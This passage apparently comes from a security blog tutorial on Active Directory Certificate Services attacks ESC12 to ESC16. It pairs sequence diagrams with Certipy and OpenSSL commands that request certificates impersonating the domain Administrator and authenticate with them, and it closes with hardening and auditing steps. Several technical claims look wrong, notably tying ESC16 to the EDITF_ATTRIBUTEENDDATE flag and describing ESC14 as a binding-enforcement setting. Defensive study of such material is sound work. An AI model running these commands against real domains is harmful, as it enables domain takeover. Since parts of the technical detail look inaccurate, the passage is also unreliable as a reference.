    HSM->>HSM: Unauthorized access<br/>to master key

    HSM->>A: Obtain HSM master key

    Note over A: Extract CA private key

    A->>CA: Extract CA private key
    Note over A: Retrieve CA signing key<br/>from HSM

    CA->>A: CA private key (RSA/ECC)

    Note over A: Can sign any certificate

    A->>A: Create forged certificate
    Note over A: Subject: Administrator<br/>Issuer: corp-DC01-CA

    A->>A: Sign with CA private key

    Note over A: Authenticate with forged certificate

    A->>DC: Present forged certificate
    DC->>DC: Verify with CA public key
    Note over DC: Signature is valid<br/>(signed with CA private key)

    DC->>A: Issue Administrator TGT

    Note over A: Domain Admin privileges obtained

Attack Commands

Note: ESC12 is highly specific and depends on a particular YubiHSM2 vulnerability. Actual attack commands depend on the CVE.

1. Detect YubiHSM2

1
2
3
4
5
# Confirm YubiHSM2 usage on the CA server
certutil -store my

# Or
Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.PrivateKey.CspKeyContainerInfo.ProviderName -like "*Yubi*"}

2. Check Vulnerability (hypothetical example)

1
2
3
4
# Check YubiHSM2 firmware version
# (Actual tool depends on CVE)

# If a vulnerable version is found, run exploit

3. Extract CA Private Key (conceptual)

1
2
3
4
5
# Extract private key from HSM (hypothetical example)
# Actual method depends on vulnerability

# Sign a certificate using extracted private key
openssl req -new -x509 -key ca_private_key.pem -out fake_cert.pem -days 365 -subj "/CN=Administrator"

4. Authenticate with Forged Certificate

1
2
3
4
5
# Convert forged certificate to PFX
openssl pkcs12 -export -out fake_admin.pfx -inkey user_key.pem -in fake_cert.pem

# Authenticate
certipy auth -pfx fake_admin.pfx -dc-ip 10.10.10.100

5. Defenses

1
2
3
# Update YubiHSM2 firmware to latest version
# Strengthen YubiHSM2 access controls
# Enhance HSM log monitoring

ESC13: Issuance Policy with Privileged Group Linked

Attack Conditions

  • ✅ The certificate template has an Issuance Policy OID set
  • ✅ That OID is linked to a privileged group (Domain Admins, Enterprise Admins, etc.)
  • ✅ A low-privileged user can enroll in that template

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker<br/>(Low-Privileged User)
    participant T as Certificate Template
    participant CA as Certificate Authority
    participant DC as Domain Controller
    participant AD as Active Directory

    Note over T: Issuance Policy OID:<br/>1.2.3.4.5.6.7.8.9<br/>→ Linked to Domain Admins

    Note over AD: msDS-OIDToGroupLink:<br/>OID 1.2.3.4.5.6.7.8.9 =<br/>CN=Domain Admins,CN=Users,DC=corp,DC=local

    A->>T: Certificate request
    Note over A: Template that even<br/>low-privileged users can enroll in

    T->>CA: Certificate request

    CA->>A: Issue certificate with Issuance Policy
    Note over CA: Certificate includes OID 1.2.3.4.5.6.7.8.9

    Note over A: Authentication phase

    A->>DC: Authenticate with certificate
    Note over A: PKINIT / Schannel

    DC->>DC: Check certificate's Issuance Policy
    Note over DC: OID: 1.2.3.4.5.6.7.8.9

    DC->>AD: Check OID mapping
    AD->>DC: OID → Domain Admins

    DC->>DC: Grant group membership
    Note over DC: Certificate-based<br/>group membership

    DC->>A: Issue TGT as Domain Admins

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Check Issuance Policy

1
2
3
4
# Check OID-to-group links in AD
Get-ADObject -Filter {objectClass -eq "msPKI-Enterprise-Oid"} -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Properties *

# Check msDS-OIDToGroupLink attribute

2. Vulnerability Scan

1
2
# Detect ESC13 with Certipy
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -A 20 "ESC13"

3. Certificate Request

1
2
3
4
# Request certificate from Issuance Policy template
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'ESC13Template'

# Output: john.pfx (with Issuance Policy)

4. Authentication

1
2
3
4
# Authenticate with certificate
certipy auth -pfx john.pfx -dc-ip 10.10.10.100

# Authenticated as Domain Admins via Issuance Policy

5. Check OID Link (detailed)

1
2
3
4
5
# Check with PowerShell
$oid = Get-ADObject -Filter {cn -eq "1.2.3.4.5.6.7.8.9"} -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Properties *

$oid.'msDS-OIDToGroupLink'
# Output: CN=Domain Admins,CN=Users,DC=corp,DC=local

6. Defenses

1
2
3
4
# Remove unnecessary OID links
Set-ADObject -Identity "CN=1.2.3.4.5.6.7.8.9,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Clear msDS-OIDToGroupLink

# Or disable Issuance Policy

ESC14: Weak Explicit Certificate Mapping

Attack Conditions

  • StrongCertificateBindingEnforcement is set to 0 (disabled) or 1 (partial)
  • ✅ Weak certificate mapping is permitted

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over DC: Setting:<br/>StrongCertificateBindingEnforcement = 0 or 1<br/>(weak certificate mapping)

    A->>CA: Certificate request
    Note over A: SAN UPN:<br/>Administrator@corp.local

    CA->>A: Issue certificate

    Note over A: Authentication phase

    A->>DC: Authenticate with certificate<br/>(PKINIT)

    DC->>DC: Process certificate mapping
    Note over DC: StrongCertificateBindingEnforcement<br/>= 0 or 1<br/>→ Insufficient SID validation

    DC->>DC: Authenticate by UPN only
    Note over DC: SAN UPN:<br/>Administrator@corp.local

    DC->>DC: Skip SID validation
    Note over DC: Weak mapping

    DC->>A: Authentication successful as Administrator

    A->>DC: TGT request
    DC->>A: Issue Administrator TGT

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Check StrongCertificateBindingEnforcement

1
2
3
4
5
6
7
# Check DC registry
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement"

# Value meanings:
# 0 = Disabled (most vulnerable)
# 1 = Compatibility mode (partial)
# 2 = Full enforcement (secure)

2. Obtain Certificate (using another ESC)

1
2
# Obtain Administrator's certificate with ESC1 etc.
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'VulnerableTemplate' -upn 'administrator@corp.local'

3. Authentication

1
2
3
4
# Authenticate with weak mapping
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

# Mapped by UPN only, SID validation is skipped

4. Remediation (Defender)

1
2
3
4
5
# Enforce strong certificate binding
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Value 2

# Restart KDC service
Restart-Service kdc

5. Apply Windows Updates

1
2
# Apply KB5014754 or later updates
# This strengthens the default for StrongCertificateBindingEnforcement

ESC15: Arbitrary Application Policy Injection in V1 Templates (CVE-2024-49019 “EKUwu”)

Attack Conditions

  • ✅ The certificate template is Schema Version 1 (legacy format)
  • ✅ No Application Policy is defined on the template
  • ✅ A low-privileged user has Enroll permission

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant V1 as V1 Certificate<br/>Template
    participant CA as Certificate Authority
    participant DC as Domain Controller

    Note over V1: Schema Version 1<br/>(msPKI-Template-Schema-Version = 1)
    Note over V1: Application Policy is undefined

    A->>V1: Inspect template
    V1->>A: V1 template detected<br/>No Application Policy

    Note over A: Build certificate request

    A->>A: Add arbitrary<br/>Application Policy to CSR
    Note over A: Examples:<br/>- Client Authentication (1.3.6.1.5.5.7.3.2)<br/>- Smart Card Logon (1.3.6.1.4.1.311.20.2.2)

    A->>CA: Certificate enrollment request<br/>(CSR with Application Policy)

    CA->>CA: Validate V1 template
    Note over CA: Application Policy<br/>validation is insufficient

    CA->>CA: Accept Application Policy<br/>from CSR as-is

    CA->>A: Issue certificate with arbitrary Application Policy
    Note over CA: Client Authentication EKU<br/>Smart Card Logon EKU, etc.

    Note over A: Authentication phase

    A->>DC: Authenticate with certificate<br/>(use as Client Authentication)

    DC->>DC: Check EKU:<br/>Client Authentication
    Note over DC: Certificate has valid EKU

    DC->>A: Issue TGT

    Note over A: Authentication successful<br/>(used for a purpose not originally permitted)

Attack Commands

1. Detect V1 Templates

1
2
# Search for V1 templates with PowerShell
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Properties msPKI-Template-Schema-Version | Where-Object {$_.'msPKI-Template-Schema-Version' -eq 1}
1
2
# Detect V1 templates with Certipy
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -B 5 "Schema Version.*: 1"

2. Application Policy Injection (OpenSSL)

1
2
3
4
5
6
7
8
9
10
11
12
13
# Create CSR with OpenSSL and add Application Policy

# Add to openssl.cnf:
cat >> openssl.cnf << EOF
[v3_req]
extendedKeyUsage = clientAuth, smartcardLogon
EOF

# Create CSR
openssl req -new -key user.key -out user.csr -config openssl.cnf -extensions v3_req -subj "/CN=john"

# Base64 encode the CSR
cat user.csr | base64 -w 0

3. Attack with Certipy (when directly supported)

1
2
3
4
5
# Inject arbitrary EKU into V1 template with Certipy
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'V1Template' -key-usage 'clientAuth,smartcardLogon'

# Or
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'V1Template' -upn 'administrator@corp.local' -key-usage 'clientAuth'

4. Manual CSR Submission (Windows)

1
2
3
4
5
# Submit CSR with certreq
certreq -submit -config "DC01\corp-DC01-CA" -attrib "CertificateTemplate:V1Template" user.csr

# Retrieve certificate
certreq -retrieve [RequestId] user.cer

5. Authentication

1
2
# Authenticate with the obtained certificate
certipy auth -pfx user.pfx -dc-ip 10.10.10.100

6. Defenses

1
2
3
4
5
6
7
8
# Upgrade V1 templates to V2/V3/V4
# Or disable V1 templates

# Check template schema version
Get-ADObject -Filter {cn -eq "V1Template"} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Properties msPKI-Template-Schema-Version

# Disable V1 template
Set-ADObject -Identity "CN=V1Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Replace @{flags=131072}

ESC16: Security Extension Disabled on CA (Globally)

Attack Conditions

  • ✅ The CA has the EDITF_ATTRIBUTEENDDATE flag set
  • ✅ This disables the Security Extension on all certificates
  • ✅ Weak certificate mapping is enabled

Attack Flow

sequenceDiagram
    autonumber
    participant A as Attacker
    participant CA as Certificate Authority
    participant T as Any Template
    participant DC as Domain Controller

    Note over CA: CA registry setting:<br/>EditFlags includes<br/>EDITF_ATTRIBUTEENDDATE

    Note over CA: This setting disables<br/>Security Extension on<br/>all certificates

    A->>T: Request certificate from any template
    Note over A: SAN UPN:<br/>Administrator@corp.local

    T->>CA: Certificate request

    CA->>CA: Check EDITF_ATTRIBUTEENDDATE
    Note over CA: Flag is enabled<br/>→ Do not generate Security Extension

    CA->>A: Issue certificate<br/>(without Security Extension)

    Note over A: SID validation is skipped<br/>for all certificates

    A->>DC: Authenticate with certificate

    DC->>DC: Check Security Extension
    Note over DC: No Security Extension<br/>→ Skip SID validation

    DC->>DC: Authenticate by UPN only
    Note over DC: Weak certificate mapping

    DC->>A: Authentication successful as Administrator

    A->>DC: TGT request
    DC->>A: Issue Administrator TGT

    Note over A: Domain Admin privileges obtained

Attack Commands

1. Check CA Settings

1
2
3
4
# Windows: Check CA EditFlags
certutil -config "DC01\corp-DC01-CA" -getreg policy\EditFlags

# Check if output contains EDITF_ATTRIBUTEENDDATE
1
2
# Linux: Check with Certipy
certipy find -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -vulnerable -stdout | grep -i "EDITF_ATTRIBUTEENDDATE"

2. Certificate Request

1
2
3
4
# Request Administrator's certificate from any template
certipy req -u john@corp.local -p 'Password123!' -dc-ip 10.10.10.100 -ca 'corp-DC01-CA' -template 'User' -upn 'administrator@corp.local'

# Certificate is issued without Security Extension

3. Authentication

1
2
3
4
# Authenticate with weak mapping
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.100

# Mapped by UPN only

4. Check CA Settings (via registry directly)

1
2
3
4
5
# Check registry on the CA server
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\corp-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy" -Name "EditFlags"

# Check EditFlags value
# EDITF_ATTRIBUTEENDDATE = 0x00004000

5. Remediation (Defender)

1
2
3
4
5
# Disable EDITF_ATTRIBUTEENDDATE
certutil -config "DC01\corp-DC01-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTEENDDATE

# Restart CA service
Restart-Service certsvc

6. Fix via Registry Directly

1
2
3
4
5
6
7
# Remove 0x00004000 from EditFlags
$path = "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\corp-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$currentFlags = (Get-ItemProperty -Path $path -Name "EditFlags").EditFlags
$newFlags = $currentFlags -band (-bnot 0x00004000)
Set-ItemProperty -Path $path -Name "EditFlags" -Value $newFlags

Restart-Service certsvc

Summary: Detection and Defense Against ESC Attacks

General Detection Methods

sequenceDiagram
    participant A as Security Auditor
    participant Tools as Certify / Certipy
    participant AD as Active Directory
    participant CA as Certificate Authority
    participant Logs as Event Logs

    Note over A: Phase 1: Vulnerability scan

    A->>Tools: certify find /vulnerable<br/>or<br/>certipy find -vulnerable

    Tools->>AD: Enumerate AD CS configuration
    Tools->>CA: Check CA configuration

    AD->>Tools: Template information
    CA->>Tools: CA configuration information

    Tools->>A: Vulnerability report<br/>(ESC1-16)

    Note over A: Phase 2: Log monitoring

    A->>Logs: Review event logs
    Note over A: Event IDs:<br/>- 4886: Certificate request received<br/>- 4887: Certificate issued<br/>- 4888: Certificate request denied

    Logs->>A: Detect anomalous certificate requests

    Note over A: Phase 3: BloodHound analysis

    A->>Tools: certipy find -bloodhound
    Tools->>A: BloodHound JSON data

    A->>A: Visualize attack paths<br/>in BloodHound

Implementing Defenses

1. Harden Template Settings

1
2
3
4
5
# Disable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
Set-ADObject -Identity "CN=Template,CN=Certificate Templates,..." -Replace @{'msPKI-Certificate-Name-Flag'=0}

# Remove unnecessary EKUs
Set-ADObject -Identity "CN=Template,CN=Certificate Templates,..." -Clear pKIExtendedKeyUsage

2. Harden CA Settings

1
2
3
4
5
# Disable EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -config "DC01\corp-DC01-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# Enforce strong certificate binding
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Value 2

3. Protect Web Enrollment

1
2
# Enforce HTTPS only
# Disable HTTP

4. Regular Auditing

1
2
3
4
5
# Weekly vulnerability scan
.\Certify.exe find /vulnerable

# Monthly permission audit
Get-DomainObjectAcl -Identity "CN=Certificate Templates,..." | Export-Csv audit.csv
This post is licensed under CC BY 4.0 by the author.